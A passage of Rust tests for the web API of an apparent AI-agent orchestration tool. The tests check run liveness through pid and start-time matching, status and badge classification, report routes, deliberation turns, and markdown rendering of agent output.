20370            PathBuf::from("/repo/magi"),
20371            "main".to_owned(),
20372            "0123456789abcdef".to_owned(),
20373            "Review only".to_owned(),
20374            Config::default(),
20375        );
20376        state.id = id.to_owned();
20377        state.status = RunStatus::Reviewing;
20378        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20379        // This test process's own pid: guaranteed alive, and never needs a
20380        // real daemon or a second process to prove it. The matching start-time
20381        // marker is what `liveness` now requires alongside a live pid — see
20382        // `RunState::driver_started_at`'s own doc for why the pid alone is
20383        // not enough.
20384        state.driver_pid = Some(std::process::id());
20385        state.driver_started_at = Some(
20386            crate::proc::process_started_at(std::process::id())
20387                .expect("this test process's own start time must be queryable"),
20388        );
20389        let dir = f.runs().join(id);
20390        std::fs::create_dir_all(&dir).expect("run dir");
20391        std::fs::write(
20392            dir.join("run.json"),
20393            serde_json::to_string_pretty(&state).expect("serialize run"),
20394        )
20395        .expect("write run.json");
20396
20397        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20398        assert_eq!(detail["live"], "live", "{detail}");
20399    }
20400
20401    /// A killed manual run's pid can be handed to a wholly unrelated later
20402    /// process — a live query on `driver_pid` alone would read this as
20403    /// `"live"`, exactly the false positive `driver_started_at` exists to
20404    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20405    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20406    #[tokio::test]
20407    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20408        let f = Fixture::start().await;
20409        let id = "20260922-090100-dddd";
20410        let mut state = RunState::new(
20411            PathBuf::from("/repo/magi"),
20412            "main".to_owned(),
20413            "0123456789abcdef".to_owned(),
20414            "Review only".to_owned(),
20415            Config::default(),
20416        );
20417        state.id = id.to_owned();
20418        state.status = RunStatus::Reviewing;
20419        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20420        // This test process's own pid really is alive, but the marker
20421        // recorded here does not match what it actually started at —
20422        // standing in for the pid having since been reused by a different
20423        // process than the one that wrote `run.json`.
20424        state.driver_pid = Some(std::process::id());
20425        state.driver_started_at = Some("1".to_owned());
20426        let dir = f.runs().join(id);
20427        std::fs::create_dir_all(&dir).expect("run dir");
20428        std::fs::write(
20429            dir.join("run.json"),
20430            serde_json::to_string_pretty(&state).expect("serialize run"),
20431        )
20432        .expect("write run.json");
20433
20434        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20435        assert_eq!(detail["live"], "dead", "{detail}");
20436    }
20437
20438    /// The deck's competition list is normally the first place an operator
20439    /// sees an old run. It must carry the same process verdict as detail, or
20440    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20441    #[test]
20442    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20443        let mk = |id: &str, pid: Option<u32>| {
20444            let mut s = RunState::new(
20445                PathBuf::from("/repo/magi"),
20446                "main".to_owned(),
20447                "0123456789abcdef".to_owned(),
20448                "Add a web UI".to_owned(),
20449                Config::default(),
20450            );
20451            s.id = id.to_owned();
20452            s.driver_pid = pid;
20453            s.driver_started_at = Some("1790000000".to_owned());
20454            s
20455        };
20456        let states = vec![
20457            mk("20260902-140502-aaaa", Some(77)),
20458            mk("20260902-140502-bbbb", Some(77)),
20459            mk("20260902-140502-cccc", Some(77)),
20460            mk("20260902-140502-dddd", None),
20461        ];
20462        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20463        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20464        let sup: HashMap<String, String> = [(
20465            "20260902-140502-aaaa".to_owned(),
20466            "20260902-140502-cccc".to_owned(),
20467        )]
20468        .into();
20469
20470        let status_calls = std::cell::Cell::new(0);
20471        let identity_calls = std::cell::Cell::new(0);
20472        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20473            |_| {
20474                status_calls.set(status_calls.get() + 1);
20475                Some(true)
20476            },
20477            |_| {
20478                identity_calls.set(identity_calls.get() + 1);
20479                Some("1790000000".to_owned())
20480            },
20481        ));
20482        let rows = summarize(
20483            states,
20484            &open,
20485            &claimed,
20486            &sup,
20487            |p| probe.borrow_mut().status(p),
20488            |p| probe.borrow_mut().started_at(p),
20489        );
20490
20491        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20492        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20493        assert_eq!(rows.len(), 4);
20494        assert!(!rows[0].waiting && rows[1].waiting);
20495        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20496        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20497        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20498        assert_eq!(rows[1].superseded_by, None);
20499    }
20500
20501    #[test]
20502    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20503        let mut state = RunState::new(
20504            PathBuf::from("/repo/magi"),
20505            "main".to_owned(),
20506            "0123456789abcdef".to_owned(),
20507            "Review only".to_owned(),
20508            Config::default(),
20509        );
20510        state.id = "20260922-090200-dead".to_owned();
20511        state.status = RunStatus::Reviewing;
20512        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20513            .expect("serialize list row");
20514        assert_eq!(row["status"], "reviewing");
20515        assert_eq!(row["display_status"], "stale");
20516        assert_eq!(row["live"], "dead", "{row}");
20517        assert!(!row["done"].as_bool().unwrap());
20518    }
20519
20520    #[test]
20521    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20522        use crate::run::Liveness::{Dead, Live, Unknown};
20523        let mut state = RunState::new(
20524            PathBuf::from("/repo/magi"),
20525            "main".to_owned(),
20526            "abc".to_owned(),
20527            "Review only".to_owned(),
20528            Config::default(),
20529        );
20530        for (status, parked, node, waiting, live, expected) in [
20531            (
20532                RunStatus::Judging,
20533                true,
20534                "github-text",
20535                false,
20536                Dead,
20537                "parked",
20538            ),
20539            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20540            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20541            (
20542                RunStatus::Judging,
20543                true,
20544                "github-text",
20545                true,
20546                Dead,
20547                "waiting",
20548            ),
20549            (
20550                RunStatus::Judging,
20551                false,
20552                "github-text",
20553                true,
20554                Dead,
20555                "waiting",
20556            ),
20557            (
20558                RunStatus::Judging,
20559                false,
20560                "github-text",
20561                false,
20562                Dead,
20563                "stale",
20564            ),
20565            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20566            (RunStatus::Judging, true, "park", false, Live, "judging"),
20567            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20568            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20569            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20570            (
20571                RunStatus::Blocked,
20572                true,
20573                "github-text",
20574                true,
20575                Dead,
20576                "waiting",
20577            ),
20578        ] {
20579            state.status = status;
20580            state.parked = parked;
20581            state.events.clear();
20582            state.event(
20583                "park",
20584                "an earlier park does not determine the latest state",
20585            );
20586            state.event(node, "message is not used for classification");
20587            let summary = RunSummary::of(&state, waiting, live);
20588            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20589            assert_eq!(
20590                summary.display_status, expected,
20591                "{status:?}/{node}/{live:?}"
20592            );
20593            assert_eq!(detail.display_status, summary.display_status);
20594            assert_eq!(detail.waiting, summary.waiting);
20595        }
20596        state.status = RunStatus::Judging;
20597        state.parked = false;
20598        state.events.clear();
20599        assert_eq!(run_display_status(&state, false, Dead), "stale");
20600    }
20601
20602    #[test]
20603    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20604        use crate::run::Liveness::{Dead, Live, Unknown};
20605        let mut state = RunState::new(
20606            PathBuf::from("/repo/magi"),
20607            "main".to_owned(),
20608            "abc".to_owned(),
20609            "Badge".to_owned(),
20610            Config::default(),
20611        );
20612        for (status, waiting, live, superseded, expected) in [
20613            (RunStatus::Gating, false, Dead, false, "stale"),
20614            (RunStatus::Gating, false, Dead, true, "superseded"),
20615            (RunStatus::Gating, false, Unknown, true, "superseded"),
20616            (RunStatus::Gating, true, Dead, true, "superseded"),
20617            (RunStatus::Gating, true, Dead, false, "waiting"),
20618            (RunStatus::Gating, false, Unknown, false, "gating"),
20619            (RunStatus::Gating, false, Live, true, "gating"),
20620            (RunStatus::Gating, true, Live, true, "waiting"),
20621            (RunStatus::Merged, false, Dead, true, "merged"),
20622            (RunStatus::Blocked, false, Dead, true, "blocked"),
20623        ] {
20624            state.status = status;
20625            let display = run_display_status(&state, waiting, live);
20626            assert_eq!(
20627                run_badge_status(&state, &display, live, superseded),
20628                expected,
20629                "{status:?}/{live:?}/superseded={superseded}"
20630            );
20631        }
20632    }
20633
20634    #[test]
20635    fn summarize_and_detail_expose_badge_status() {
20636        use crate::run::Liveness::Dead;
20637        let mut state = RunState::new(
20638            PathBuf::from("/repo/magi"),
20639            "main".to_owned(),
20640            "abc".to_owned(),
20641            "Badge".to_owned(),
20642            Config::default(),
20643        );
20644        state.status = RunStatus::Gating;
20645        let none = HashSet::new();
20646        let id = state.id.clone();
20647        let mut by = HashMap::new();
20648        let rows = summarize(
20649            [state.clone()],
20650            &none,
20651            &none,
20652            &by,
20653            |_| Some(false),
20654            |_| None,
20655        );
20656        // No driver recorded: liveness is not provably dead, so the node stays.
20657        assert_eq!(rows[0].badge_status, rows[0].display_status);
20658        by.insert(id, "20260901-000000-913b".to_owned());
20659        let detail = RunDetailView::of(
20660            state.clone(),
20661            false,
20662            Dead,
20663            Some("913b".to_owned()),
20664            None,
20665            None,
20666        );
20667        assert_eq!(detail.badge_status, "superseded");
20668        let json = serde_json::to_value(&detail).unwrap();
20669        assert_eq!(json["badge_status"], "superseded");
20670        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20671        assert_eq!(detail.badge_status, "stale");
20672    }
20673
20674    #[tokio::test]
20675    async fn run_display_status_routes_share_the_open_question_store() {
20676        let f = Fixture::start().await;
20677        let id = "20260922-090200-abcd";
20678        write_run(&f.runs(), id, RunStatus::Judging);
20679        let mut state = read_run(&f.runs(), id).unwrap();
20680        state.parked = true;
20681        state.driver_exited = true;
20682        state.event("github-text", "waiting for the owner");
20683        state.save_under(f.home.path()).unwrap();
20684        let mut task = Task::new(
20685            "resumed task".to_owned(),
20686            "do it".to_owned(),
20687            PathBuf::from("/repo"),
20688            Source::Human,
20689        );
20690        task.runs = vec![id.to_owned(), id.to_owned()];
20691        f.queue().put(&mut task).unwrap();
20692        let store = f.questions();
20693        let mut q = Question::new(
20694            id.to_owned(),
20695            "github-text".to_owned(),
20696            "owner".to_owned(),
20697            "Approve the text?".to_owned(),
20698            String::new(),
20699            Vec::new(),
20700        );
20701        store.put(&mut q).unwrap();
20702        for expected in ["waiting", "parked"] {
20703            let list = f.get("/api/runs").await.json();
20704            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20705            assert_eq!(list[0]["display_status"], expected);
20706            assert_eq!(detail["display_status"], expected);
20707            assert_eq!(detail["waiting"], list[0]["waiting"]);
20708            assert_eq!(list[0]["badge_status"], expected);
20709            assert_eq!(detail["badge_status"], expected);
20710            assert!(list[0]["superseded_by"].is_null());
20711            assert!(detail["superseded_by"].is_null());
20712            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20713            let history = task_detail["history"].as_array().unwrap();
20714            assert_eq!(history.len(), 2);
20715            assert!(history[0]["badge"].is_null());
20716            assert_eq!(history[1]["badge"], expected);
20717            q.status = ask::QuestionStatus::Answered;
20718            store.put(&mut q).unwrap();
20719        }
20720    }
20721
20722    #[tokio::test]
20723    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20724        let f = Fixture::start().await;
20725        let id = "20260922-090200-abcd";
20726        write_run(&f.runs(), id, RunStatus::Judging);
20727        let mut state = read_run(&f.runs(), id).unwrap();
20728        state.parked = true;
20729        state.driver_exited = true;
20730        state.event("park", "stopped at a node boundary");
20731        state.save_under(f.home.path()).unwrap();
20732
20733        for expected in ["parked", "stale"] {
20734            let list = f.get("/api/runs").await.json();
20735            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20736            assert_eq!(list[0]["live"], "dead");
20737            assert_eq!(list[0]["display_status"], expected);
20738            assert_eq!(detail["display_status"], expected);
20739            // Model a driver claim followed by a crash before the next event:
20740            // the persisted flag changes, but the last event is still park.
20741            state.parked = false;
20742            state.save_under(f.home.path()).unwrap();
20743        }
20744    }
20745
20746    #[tokio::test]
20747    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20748        let f = Fixture::start().await;
20749        for id in [
20750            "20260902-140501-aaaa",
20751            "20260902-140502-bbbb",
20752            "20260902-140503-cccc",
20753        ] {
20754            write_run(&f.runs(), id, RunStatus::Merged);
20755        }
20756
20757        let all = f.get("/api/runs").await.json();
20758        let capped = f.get("/api/runs?limit=2").await.json();
20759
20760        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20761        assert_eq!(all.as_array().map(Vec::len), Some(3));
20762        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20763        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20764    }
20765
20766    #[tokio::test]
20767    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20768        let f = Fixture::start().await;
20769        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20770
20771        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20772
20773        assert_eq!(res.status, 200);
20774        assert!(
20775            res.headers
20776                .contains("content-type: text/plain; charset=utf-8"),
20777            "a browser must render it, not download it: {}",
20778            res.headers
20779        );
20780        // The assertion is on content, not on the absence of escapes: colour
20781        // is a process-global that `serve` turns off at startup, and another
20782        // test in this binary may own it while this one runs.
20783        assert!(
20784            res.body.contains("20260902-140501-a1b2"),
20785            "the report is about the run that was asked for: {}",
20786            res.body
20787        );
20788    }
20789
20790    #[tokio::test]
20791    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20792        // The view names the run's state directory, which reads the process-global home.
20793        crate::run::pin_test_home();
20794        let f = Fixture::start().await;
20795        let id = "20260902-140501-a1b2";
20796        write_run(&f.runs(), id, RunStatus::Stalled);
20797        // A stalled panel and one review round, written through the real
20798        // state file so the route reads what a run really leaves behind.
20799        let path = f.runs().join(id).join("run.json");
20800        let mut v: serde_json::Value =
20801            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20802        v["tally"] = serde_json::json!({
20803            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20804            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20805            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20806            "met_quorum": false, "rankings": 1
20807        });
20808        v["reviews"] = serde_json::json!([{
20809            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20810            "e2e_deferred": true,
20811            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20812                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20813            ]}]
20814        }]);
20815        std::fs::write(&path, v.to_string()).unwrap();
20816        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20817        std::fs::write(
20818            f.runs().join("20260902-140502-dead").join("run.json"),
20819            "{not json",
20820        )
20821        .unwrap();
20822
20823        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20824
20825        assert_eq!(res.status, 200, "{}", res.body);
20826        assert!(res.headers.contains("content-type: application/json"));
20827        let j = res.json();
20828        assert_eq!(j["schema"], 1);
20829        assert_eq!(j["header"]["id"], id);
20830        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20831        let kinds: Vec<&str> = j["sections"]
20832            .as_array()
20833            .unwrap()
20834            .iter()
20835            .map(|s| s["kind"].as_str().unwrap())
20836            .collect();
20837        assert_eq!(kinds, ["candidates", "tally", "review"]);
20838        let tally = &j["sections"][1]["tally"];
20839        assert_eq!(
20840            (tally["decided"].clone(), tally["provisional"].clone()),
20841            (false.into(), true.into())
20842        );
20843        let round = &j["sections"][2]["rounds"][0];
20844        assert_eq!(round["e2e"]["state"], "deferred");
20845        assert_eq!(round["findings"][0]["severity"], "major");
20846        assert_eq!(round["findings"][0]["blocking"], true);
20847        assert_eq!(round["findings"][0]["state"], "open");
20848
20849        // The raw route keeps working beside it.
20850        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20851
20852        // An unreadable run is an error, as on the text route, and is counted.
20853        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20854        assert_ne!(bad.status, 200, "{}", bad.body);
20855        assert_eq!(
20856            bad.status,
20857            f.get("/api/runs/20260902-140502-dead/report").await.status
20858        );
20859        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20860        assert_eq!(
20861            f.get("/api/runs/20260902-999999-ffff/report.json")
20862                .await
20863                .status,
20864            404
20865        );
20866    }
20867
20868    #[tokio::test]
20869    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20870        crate::run::pin_test_home();
20871        let f = Fixture::start().await;
20872        let id = "20260902-140503-delib";
20873        write_run(&f.runs(), id, RunStatus::Merged);
20874        let path = f.runs().join(id).join("run.json");
20875        let mut v: serde_json::Value =
20876            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20877        v["judgements"] = serde_json::json!([
20878            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20879        ]);
20880        v["tally"] = serde_json::json!({
20881            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20882            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20883            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20884            "met_quorum": true, "rankings": 1
20885        });
20886        v["deliberation"] = serde_json::json!([
20887            {
20888                "round": 1,
20889                "turns": [
20890                    {
20891                        "judge": 1,
20892                        "agent": "judge-1",
20893                        "body": "I prefer candidate **A** because it has cleaner tests.",
20894                        "tentative": "A"
20895                    }
20896                ]
20897            },
20898            {
20899                "round": 2,
20900                "turns": [
20901                    {
20902                        "judge": 1,
20903                        "agent": "judge-1",
20904                        "body": "Still thinking, no choice yet.",
20905                        "tentative": null
20906                    }
20907                ]
20908            }
20909        ]);
20910        std::fs::write(&path, v.to_string()).unwrap();
20911
20912        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20913        assert_eq!(res.status, 200, "{}", res.body);
20914        let j = res.json();
20915        let judging = j["sections"]
20916            .as_array()
20917            .unwrap()
20918            .iter()
20919            .find(|s| s["kind"] == "judging")
20920            .expect("judging section exists");
20921
20922        // Existing summary lines remain intact
20923        let delib_lines = judging["deliberation"].as_array().unwrap();
20924        assert_eq!(delib_lines.len(), 2);
20925        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20926        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20927
20928        // rounds carry turn bodies, tentative and parsed body_md
20929        let rounds = judging["rounds"].as_array().unwrap();
20930        assert_eq!(rounds.len(), 2);
20931        let r1_t0 = &rounds[0]["turns"][0];
20932        assert_eq!(r1_t0["judge"], 1);
20933        assert_eq!(r1_t0["agent"], "judge-1");
20934        assert_eq!(r1_t0["tentative"], "A");
20935        assert_eq!(
20936            r1_t0["body"],
20937            "I prefer candidate **A** because it has cleaner tests."
20938        );
20939        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20940
20941        let r2_t0 = &rounds[1]["turns"][0];
20942        assert_eq!(r2_t0["judge"], 1);
20943        assert_eq!(r2_t0["agent"], "judge-1");
20944        assert!(r2_t0["tentative"].is_null());
20945        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20946        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20947
20948        // A run with empty deliberation array yields empty rounds
20949        let id_empty = "20260902-140504-nodelib";
20950        write_run(&f.runs(), id_empty, RunStatus::Merged);
20951        let path_empty = f.runs().join(id_empty).join("run.json");
20952        let mut v_empty: serde_json::Value =
20953            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20954        v_empty["judgements"] = serde_json::json!([
20955            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20956        ]);
20957        v_empty["deliberation"] = serde_json::json!([]);
20958        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20959
20960        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20961        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20962        let j_empty = res_empty.json();
20963        let judging_empty = j_empty["sections"]
20964            .as_array()
20965            .unwrap()
20966            .iter()
20967            .find(|s| s["kind"] == "judging")
20968            .expect("judging section exists");
20969        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20970    }
20971
20972    #[tokio::test]
20973    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20974        let f = Fixture::start().await;
20975
20976        let html = f.get("/").await;
20977        let css = f.get("/app.css").await;
20978        let js = f.get("/app.js").await;
20979
20980        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20981        assert!(
20982            html.headers
20983                .contains("content-type: text/html; charset=utf-8")
20984        );
20985        assert!(css.headers.contains("content-type: text/css"));
20986        assert!(js.headers.contains("content-type: text/javascript"));
20987        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20988    }
20989
20990    #[test]
20991    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20992        let body = |name: &str| {
20993            let at = APP_JS
20994                .find(name)
20995                .unwrap_or_else(|| panic!("{name} missing"));
20996            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20997        };
20998        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20999        let note = body("function landRoundNote");
21000        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21001        assert!(note.contains("Land round ${round}"));
21002        let land = body("function renderLand");
21003        let note_at = land
21004            .find("landRoundNote(pr)")
21005            .expect("renderLand uses the note");
21006        assert!(
21007            note_at
21008                < land
21009                    .find("roundRail(pr)")
21010                    .expect("renderLand uses the rail")
21011        );
21012    }
21013
21014    #[test]
21015    fn the_runs_page_redesign_keeps_its_guards() {
21016        let body = |name: &str| {
21017            let at = APP_JS
21018                .find(name)
21019                .unwrap_or_else(|| panic!("{name} missing"));
21020            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21021        };
21022        // A null child must never reach the native append (it prints "null").
21023        let land = body("function renderLand");
21024        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21025        assert!(
21026            !land.contains("box.append("),
21027            "renderLand must use append()"
21028        );
21029        assert!(land.contains("append(box, ["));
21030        // Tabs are hash routes; the run id alone decides a reload.
21031        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21032        assert!(
21033            body("function applyRoute")
21034                .contains("route.name !== state.route.name || route.id !== state.route.id")
21035        );
21036        // The decorative diagram is gone, the strip and its guards stay.
21037        assert!(!APP_JS.contains("adviseConvergeDiagram"));
21038        assert!(!INDEX_HTML.contains("advise-converge"));
21039        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21040        assert!(APP_JS.contains("provisional"));
21041        for id in [
21042            "run-tab-overview",
21043            "run-tab-timeline",
21044            "run-tab-report",
21045            "run-report",
21046            "runs-scope",
21047        ] {
21048            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21049        }
21050        assert!(!INDEX_HTML.contains("runs-tree"));
21051        assert!(!INDEX_HTML.contains("run-raw-panel"));
21052        // Fold still says it cannot be resumed.
21053        assert!(APP_JS.contains("resume"));
21054        // The unreadable-runs count stays on the page.
21055        assert!(APP_JS.contains("unreadable"));
21056    }
21057
21058    #[test]
21059    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21060        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21061        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21062        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
21063        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21064        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21065        // The subtitle still counts them whatever the banner does.
21066        assert!(APP_JS.contains("unreadable` : null"));
21067    }
21068
21069    #[test]
21070    fn blocked_run_detail_exposes_the_failed_gate_reason() {
21071        let mut state = RunState::new(
21072            "/repo".into(),
21073            "main".into(),
21074            "abc".into(),
21075            "task".into(),
21076            crate::config::Config::default(),
21077        );
21078        state.status = RunStatus::Blocked;
21079        state.gate_ran = true;
21080        state.gate.push(crate::run::CommandOutcome {
21081            command: "cargo make check".into(),
21082            code: Some(1),
21083            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21084            duration_ms: 0,
21085            resource_blocked: false,
21086        });
21087        let view = RunDetailView::of(
21088            state,
21089            false,
21090            crate::run::Liveness::Unknown,
21091            None,
21092            None,
21093            None,
21094        );
21095        let value = serde_json::to_value(view).unwrap();
21096        assert_eq!(
21097            value["stop_reason"],
21098            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21099        );
21100    }
21101
21102    #[test]
21103    fn the_run_detail_payload_says_whether_the_run_is_done() {
21104        // `landView` reads `run.done`; the detail response must carry it.
21105        for (status, done) in [
21106            (RunStatus::Superseded, true),
21107            (RunStatus::Blocked, true),
21108            (RunStatus::Landing, false),
21109        ] {
21110            let mut state = RunState::new(
21111                std::path::PathBuf::from("/repo"),
21112                "main".to_owned(),
21113                "abc".to_owned(),
21114                "x".to_owned(),
21115                crate::config::Config::default(),
21116            );
21117            state.status = status;
21118            let v = serde_json::to_value(RunDetailView::of(
21119                state,
21120                false,
21121                crate::run::Liveness::Unknown,
21122                None,
21123                None,
21124                None,
21125            ))
21126            .unwrap();
21127            assert_eq!(v["done"], done, "{status:?}");
21128        }
21129    }
21130
21131    /// The first node of a markdown block holds a `strong` somewhere.
21132    fn has_strong(nodes: &[md::Node]) -> bool {
21133        serde_json::to_string(nodes).unwrap().contains("strong")
21134    }
21135
21136    #[test]
21137    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21138        let mut state = RunState::new(
21139            std::path::PathBuf::from("/repo"),
21140            "main".to_owned(),
21141            "abc".to_owned(),
21142            "x".to_owned(),
21143            crate::config::Config::default(),
21144        );
21145        let proposal = |approach: &str| {
21146            serde_json::json!({
21147                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21148            })
21149        };
21150        state.advice = Some(
21151            serde_json::from_value(serde_json::json!({
21152                "records": [
21153                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21154                     "proposal": proposal("do **this**")},
21155                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21156                ],
21157                "synthesis": "- one\n- **two**\n\n`code`",
21158            }))
21159            .unwrap(),
21160        );
21161        state.candidates = serde_json::from_value(serde_json::json!([
21162            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21163             "summary": "did **it**"},
21164            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21165        ]))
21166        .unwrap();
21167        // Recorded in ascending severity, the reverse of how the page sorts
21168        // them: the arrays must follow the record, not the display.
21169        state.reviews = serde_json::from_value(serde_json::json!([{
21170            "round": 1, "head": "h",
21171            "reviews": [{
21172                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21173                "findings": [
21174                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21175                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21176                ],
21177            }],
21178            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21179            "fix": {"agent": "a", "notes": "fixed **it**",
21180                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21181        }, {"round": 2, "head": "h2", "reviews": []}]))
21182        .unwrap();
21183
21184        let v = serde_json::to_value(RunDetailView::of(
21185            state,
21186            false,
21187            crate::run::Liveness::Unknown,
21188            None,
21189            None,
21190            None,
21191        ))
21192        .unwrap();
21193
21194        let strong = |p: &str| {
21195            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21196            assert!(n.to_string().contains("strong"), "{p}: {n}");
21197        };
21198        strong("/advice_md/synthesis");
21199        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21200        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21201        strong("/advice_md/approaches/0");
21202        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21203        strong("/candidate_summaries_md/0");
21204        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21205        strong("/reviews_md/0/reviewers/0/summary");
21206        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21207        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21208        assert!(f[1].to_string().contains("strong"));
21209        strong("/reviews_md/0/reconsideration/0");
21210        strong("/reviews_md/0/fix/notes");
21211        strong("/reviews_md/0/fix/rejected/0");
21212        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21213        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21214        // The raw strings stay, and no schema moved.
21215        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21216        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21217    }
21218
21219    #[test]
21220    fn a_run_without_advice_has_no_advice_md() {
21221        let state = RunState::new(
21222            std::path::PathBuf::from("/repo"),
21223            "main".to_owned(),
21224            "abc".to_owned(),
21225            "x".to_owned(),
21226            crate::config::Config::default(),
21227        );
21228        let p = run_prose_md(&state);
21229        assert!(p.advice_md.is_none());
